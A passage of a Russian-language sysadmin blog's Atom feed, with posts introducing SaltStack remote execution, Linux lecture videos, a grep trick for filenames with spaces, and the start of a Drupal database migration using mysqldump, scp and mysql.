</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/2681350431848684793/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack-saltstack-minion-debian.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/2681350431848684793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/2681350431848684793'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack-saltstack-minion-debian.html' title='SaltStack - Установка saltstack-minion на Debian Squeeze x86_64'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s72-c/SaltStack-Logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-4195755776299933680</id><published>2013-04-22T16:49:00.000+07:00</published><updated>2013-04-30T01:57:37.458+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="SaltStack"/><title type='text'>Что такое SaltStack и с чем его едят</title><content type='html'>&lt;div class=&quot;tr_bq&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgusdnL5rYpQD5rarhIea0uWe_p7AcRpuREefYTq2ua2P8W3nNphY_1zHqyRemx7cv4tLb2AK3kIikHgNNBv80XMiH7msbL_-XYXaPkme7NL-LVU9Z8KTFCtBYpvD-8iQC_4-Dfh839J438/s1600/SaltStack-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;91&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgusdnL5rYpQD5rarhIea0uWe_p7AcRpuREefYTq2ua2P8W3nNphY_1zHqyRemx7cv4tLb2AK3kIikHgNNBv80XMiH7msbL_-XYXaPkme7NL-LVU9Z8KTFCtBYpvD-8iQC_4-Dfh839J438/s320/SaltStack-Logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SaltStack обеспечивает новый подход администрирования больших инфраструктур путём написания кода, при этом рабочая связка разворачивается за считанные минуты.&lt;br /&gt;
&lt;br /&gt;
При этом система достаточно гибкая и масштабируемая для управления десятками тысяч серверов.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
SaltStack реализует динамически изменяемую инфраструктуру, удалённое выполнение команд, управлением конфигурациями серверов, и многое другое.&lt;br /&gt;
&lt;br /&gt;
SaltStack имеет большое количество готовых модулей для управления системой, кроме того можно писать собственные модули.&lt;br /&gt;
&lt;br /&gt;
SaltStack так же можно использовать для написания деплоя собственных проектов.&lt;br /&gt;
&lt;br /&gt;
Архитектура до банальности проста есть один(или группа) saltstack-master нод, к которой подключаются SaltStack-minion&#39;ы установленные на всех ваших серверах.&lt;br /&gt;
&lt;br /&gt;
Приведу пример одновременного выполнения команд на всех подчинённых &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.debian.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Debian&quot;&gt;Debian&lt;/a&gt; системах:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;salt &lt;span style=&quot;color: #44aadd;&quot;&gt;-G&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;os:Debian&#39;&lt;/span&gt; cmd&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;run &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;hostname&#39;&lt;/span&gt;
&lt;/b&gt;saltstack-minion-&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
    saltstack-minion-&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;
saltstack-minion-&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
    saltstack-minion-&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;
saltstack-minion-&lt;span style=&quot;color: #c00000;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
    saltstack-minion-&lt;span style=&quot;color: #c00000;&quot;&gt;3&lt;/span&gt;
saltstack-minion-&lt;span style=&quot;color: #c00000;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;
    saltstack-minion-&lt;span style=&quot;color: #c00000;&quot;&gt;4&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Таким образом тривиальное обновление OS для всего парка серверов будет занимать совсем немного времени.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Как&amp;nbsp;установить и настроить&amp;nbsp;SaltStack читайте в последующих статьях&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack-saltstack-master-debian.html&quot;&gt;SaltStack - Установка saltstack-master на Debian Squeeze x86_64&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack-saltstack-minion-debian.html&quot;&gt;SaltStack - Установка saltstack-minion на Debian Squeeze x86_64&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack-saltstack-minion-debian_25.html&quot;&gt;SaltStack - Установка saltstack-minion на Debian Wheezy x86_64&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack-saltstack-minion-ubuntu.html&quot;&gt;SaltStack - Установка saltstack-minion на Ubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack-saltstack-minion-centos.html&quot;&gt;SaltStack - Установка saltstack-minion на CentOS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;Так же&amp;nbsp;SaltStack имеет свою общирную документацию:&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;SaltStack документация&amp;nbsp;&lt;a href=&quot;http://docs.saltstack.com/&quot;&gt;docs.saltstack.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Internet_Relay_Chat&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Internet Relay Chat&quot;&gt;IRC&lt;/a&gt; чат&amp;nbsp;&lt;a href=&quot;http://webchat.freenode.net/?channels=salt&amp;amp;uio=Mj10cnVlJjk9dHJ1ZSYxMD10cnVl83&quot;&gt;#salt on freenode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Канал на &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.youtube.com/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;YouTube&quot;&gt;YouTube&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;http://www.youtube.com/SaltStack&quot;&gt;SaltStack Youtube channel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Почтовая рассылка&amp;nbsp;&lt;a href=&quot;https://groups.google.com/forum/#!forum/salt-users&quot;&gt;SaltStack Mailing List&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Разработка SaltStack&amp;nbsp;&lt;a href=&quot;https://github.com/saltstack&quot;&gt;Salt on GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=9a94e5fe-96ee-4889-a0ba-4901c4c814b0&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/4195755776299933680/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/4195755776299933680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/4195755776299933680'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack.html' title='Что такое SaltStack и с чем его едят'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgusdnL5rYpQD5rarhIea0uWe_p7AcRpuREefYTq2ua2P8W3nNphY_1zHqyRemx7cv4tLb2AK3kIikHgNNBv80XMiH7msbL_-XYXaPkme7NL-LVU9Z8KTFCtBYpvD-8iQC_4-Dfh839J438/s72-c/SaltStack-Logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-8146104671380168995</id><published>2013-01-27T21:34:00.000+07:00</published><updated>2013-12-13T03:12:26.487+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="VideoCast"/><title type='text'>Linux Вопросы и ответы #lecture 1(part2)</title><content type='html'>&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;Лекция по &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Linux&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Linux&quot;&gt;Linux&lt;/a&gt; в компании Thumbtack Technology&amp;nbsp;Linux - Вопросы и ответы&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;* Network&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;* Bash&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen=&quot;allowfullscreen&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/hOtTdn4gM5I&quot; width=&quot;850&quot;&gt;&lt;/iframe&gt;

&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen=&quot;true&quot; frameborder=&quot;0&quot; height=&quot;749&quot; mozallowfullscreen=&quot;true&quot; src=&quot;https://docs.google.com/presentation/embed?id=1sDBfjNOPPHWdMGCA9XomUAc6ocKYwfPdXMCPvTQ2xAM&amp;amp;start=false&amp;amp;loop=false&amp;amp;delayms=3000&quot; webkitallowfullscreen=&quot;true&quot; width=&quot;850&quot;&gt;&lt;/iframe&gt;

&lt;br /&gt;


&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=df24a557-8f51-401d-b731-217d41885b4e&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/8146104671380168995/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/01/linux-lecture-1part2.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8146104671380168995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8146104671380168995'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/01/linux-lecture-1part2.html' title='Linux Вопросы и ответы #lecture 1(part2)'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/hOtTdn4gM5I/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-7022375418156324236</id><published>2012-12-05T00:53:00.001+07:00</published><updated>2013-12-13T03:11:56.591+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="VideoCast"/><title type='text'>Linux Вопросы и ответы #lecture 1</title><content type='html'>&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;Лекция по &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Linux&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Linux&quot;&gt;Linux&lt;/a&gt; в компании Thumbtack Technology&amp;nbsp;Linux - Вопросы и ответы&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;b id=&quot;internal-source-marker_0.03342091105878353&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;* Access control&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;* Environment&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;* Users and Grops&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;* File system&#39;Ы&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;* Init system&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;* Network&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;* Bash&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen=&quot;allowfullscreen&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/a4ozqfxEmmE&quot; width=&quot;850&quot;&gt;&lt;/iframe&gt;

&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen=&quot;true&quot; frameborder=&quot;0&quot; height=&quot;749&quot; mozallowfullscreen=&quot;true&quot; src=&quot;https://docs.google.com/presentation/embed?id=1sDBfjNOPPHWdMGCA9XomUAc6ocKYwfPdXMCPvTQ2xAM&amp;amp;start=false&amp;amp;loop=false&amp;amp;delayms=3000&quot; webkitallowfullscreen=&quot;true&quot; width=&quot;850&quot;&gt;&lt;/iframe&gt;

&lt;br /&gt;


&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_e.png?x-id=df24a557-8f51-401d-b731-217d41885b4e&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/7022375418156324236/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2012/12/linux-lecture-1.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/7022375418156324236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/7022375418156324236'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2012/12/linux-lecture-1.html' title='Linux Вопросы и ответы #lecture 1'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/a4ozqfxEmmE/default.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-6599408349574095413</id><published>2012-10-30T20:06:00.000+07:00</published><updated>2012-10-30T20:06:25.991+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bash"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell script"/><title type='text'>Ищем в grep&#39;ом по файлам содержащих в имене пробелы</title><content type='html'>&lt;br /&gt;
&lt;div&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;find &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; -&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;type&lt;/span&gt; f &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; xargs grep &quot;&lt;b&gt;шаблон поиска&lt;/b&gt;&quot;
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/6599408349574095413/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2012/10/grep.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/6599408349574095413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/6599408349574095413'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2012/10/grep.html' title='Ищем в grep&#39;ом по файлам содержащих в имене пробелы'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-3434217188179971086</id><published>2012-10-11T04:00:00.000+07:00</published><updated>2012-10-11T04:00:54.899+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Cache"/><category scheme="http://www.blogger.com/atom/ns#" term="Drupal"/><category scheme="http://www.blogger.com/atom/ns#" term="MySQL"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="Pressflow"/><title type='text'>Переносим базу Drupal/Pressflow 6, без очистки кэша</title><content type='html'>&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container zemanta-img&quot; style=&quot;float: right; margin-right: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/File:Drupal-wordmark.svg&quot; imageanchor=&quot;1&quot; style=&quot;margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: clear:right;&quot;&gt;&lt;img alt=&quot;Drupal logo&quot; border=&quot;0&quot; class=&quot;zemanta-img-inserted&quot; height=&quot;80&quot; src=&quot;http://upload.wikimedia.org/wikipedia/en/thumb/c/c1/Drupal-wordmark.svg/300px-Drupal-wordmark.svg.png&quot; style=&quot;border: none; font-size: 0.8em;&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption zemanta-img-attribution&quot; style=&quot;text-align: center; width: 300px;&quot;&gt;Drupal logo (Photo credit: &lt;a href=&quot;http://en.wikipedia.org/wiki/File:Drupal-wordmark.svg&quot; target=&quot;_blank&quot;&gt;Wikipedia&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Мыши плакали, кололись, но продолжали жрать кактус.&lt;br /&gt;
&lt;br /&gt;
Так и с друпалом, все плюются но продолжают использовать.&lt;br /&gt;
&lt;br /&gt;
Случалось ли вам переносить базу друпала вместе с кэшем? Мда многие скажут что этим кэшем можно отдавить себе ... впрочем опустим это.&lt;br /&gt;
&lt;br /&gt;
Конечно&amp;nbsp;же самый простой способ это перед дампом очистить кэши и всё, или воспользоваться плагином самого друпала который создаст дамп без кэша, или использовать drush для этих целей. НО не всегда есть возможность воспользоваться перечисленными выше примерами (слишком высокая нагрузка для сброса кэша/несогласованно внесение изменений в прод/или бла-бла... что ни-будь ещё)&lt;br /&gt;
&lt;br /&gt;
Если у вас именно этот случай читайте дальше.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;Приступим&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Совершаем акт дампа, исключая&amp;nbsp;таблицы&amp;nbsp;содержащие кэш друпала (выделенное заменить на имя своей базы)&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;mysqldump &lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;uroot &lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;prootpass &lt;b&gt;drupal_db&lt;/b&gt; &lt;span style=&quot;color: #c34e00;&quot;&gt;--ignore-table=&lt;b&gt;drupal_db&lt;/b&gt;.&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Cache&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Cache&quot;&gt;cache&lt;/a&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #c34e00;&quot;&gt;--ignore-table=&lt;b&gt;drupal_db&lt;/b&gt;.cache_block --ignore-table=&lt;b&gt;drupal_db&lt;/b&gt;.cache_content\&lt;/span&gt;
 &lt;span style=&quot;color: #c34e00;&quot;&gt;--ignore-table=&lt;b&gt;drupal_db&lt;/b&gt;.cache_filter --ignore-table=&lt;b&gt;drupal_db&lt;/b&gt;.cache_form\&lt;/span&gt;
 &lt;span style=&quot;color: #c34e00;&quot;&gt;--ignore-table=&lt;b&gt;drupal_db&lt;/b&gt;.cache_menu --ignore-table=&lt;b&gt;drupal_db&lt;/b&gt;.cache_page\&lt;/span&gt;
 &lt;span style=&quot;color: #c34e00;&quot;&gt;--ignore-table=&lt;b&gt;drupal_db&lt;/b&gt;.cache_update --ignore-table=&lt;b&gt;drupal_db&lt;/b&gt;.cache_views\&lt;/span&gt;
 &lt;span style=&quot;color: #c34e00;&quot;&gt;--ignore-table=&lt;b&gt;drupal_db&lt;/b&gt;.cache_views_data\&lt;/span&gt;
 &lt;span style=&quot;color: #806030;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;b&gt;drupal_db&lt;/b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;sql
&lt;/pre&gt;
&lt;/blockquote&gt;
Далее скопируем дамп на целевую систему по средством &lt;b&gt;scp&lt;/b&gt;&amp;nbsp;зайдём на систему по средством &lt;b&gt;ssh&lt;/b&gt;&amp;nbsp;и развернём базу (предполагается&amp;nbsp;что база данных и пользователь уже созданы)&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;scp drupal_db&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;sql target-system&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;~
ssh target-system
mysql -uroot -prootpass drupal_db &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt; drupal_db&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;sql
&lt;/pre&gt;
&lt;/blockquote&gt;
Теперь подключимся к свеже развёрнутой ущербной базе&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;mysql -uroot -prootpass drupal_db&lt;/pre&gt;
&lt;/blockquote&gt;
И воссоздадим из небытия таблици кэшей на новом месте&lt;br /&gt;
&lt;blockquote&gt;
